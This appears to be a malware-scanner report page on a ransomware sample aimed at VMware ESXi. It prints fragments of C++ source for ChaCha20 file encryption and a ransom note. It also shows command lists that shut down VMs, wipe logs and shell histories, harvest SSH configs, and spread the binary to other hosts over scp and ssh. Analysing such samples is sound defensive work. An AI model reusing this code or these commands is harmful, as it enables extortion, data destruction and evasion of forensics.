Hostile 100% Download

33/9d/339d71d5a13988760f387a4ed7260e821d46699c0cf676ac75358d7761ee4384

ransomware encryption and spread

Ransom note says data is locked and requests recovery actionchmod makes a hidden writable stage executable
SHA-256339d71d5a13988760f387a4ed7260e821d46699c0cf676ac75358d7761ee4384

Evidence

Uses ciphertext, shared-secret, or trailer terms lines 10–15
10:4… ern "C" int crypto_stream_chacha20_ietf_xor(
11 unsigned char *ciphertext, const unsigned char *plaintext,
12 unsigned long long length, const unsigned char *nonce,
13 const unsigned char *key);
14
15sta …
C declares a character or byte buffer lines 16–23
16:4… tic constexpr std::size_t kChunkLimit = 32768;
17static constexpr char kSuffix[] = ".sealed";
18static constexpr char kNote[] = "!!!READ_ME!!!.txt";
19static constexpr char kTargetRoot[] = "/vmfs/volumes";
20
21// Representative command templates recovered from a cross-platform locker.
22// They are data only: this fixture never invokes a shell or modifies a host.
23static constexpr const char *kImpactCommands[ …
Native history wipe path lines 24–41
24:32… t --enabled false",
25 "vim-cmd vmsvc/getallvms",
26 "vim-cmd vmsvc/power.off ${VMID}",
27 "pkill -9 vmware-vmx",
28 "find /var/log -type f -exec truncate -s 0 {} ;",
29 "truncate -s 0 /root/.bash_history /home/*/.bash_history",
30};
31
32static constexpr const char *kSpreadCommands[] = {
33 "cat /etc/ssh/ssh_config ~/.ssh/config ~/.ssh/known_hosts",
34 "truncate -s 0 ~/.ssh/known_hosts",
35 "scp -i ${IDENTITY} /proc/self/exe ${USER}@${HOST}:/tmp/.cache-worker",
36 "ssh -i ${IDENTITY} -o StrictHostKeyChecking=no ${USER}@${HOST} "
37 "'chmod +x /tmp/.cache-worker; nohup /tmp/.cache-worker --spread >/dev/null 2>&1 &'",
38};
39
40void encrypt_file(const fs::path &path, const std::array<unsigned char, 32> &key) {
41 std::fstream file(path, std::ios::in | std::ios::out | std:: …
English function-word token "for" lines 44–48
44:47… ds;
45 std::array<unsigned char, 12> nonce{};
46
47 for (std::size_t index = 0; index < rounds; ++index) {
48 const std::size_t offset = quarter * ind …
Ransom note says victim files are encrypted lines 65–78
⋯4 lines
69void drop_note(const fs::path &directory) {
70 std::ofstream(directory / kNote)
71 << "Your files were encrypted. Follow the payment instructions.";
72}
73
74int main(int argc, char **) {
75 const char *operator_options =
76 "--path <dir> --spread --fast --medium --secure --no-kill-vms --verbose";
77 return argc == 31337 && operator_options[0] == '\0' &&
78 kImpactCommands[0][0] …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.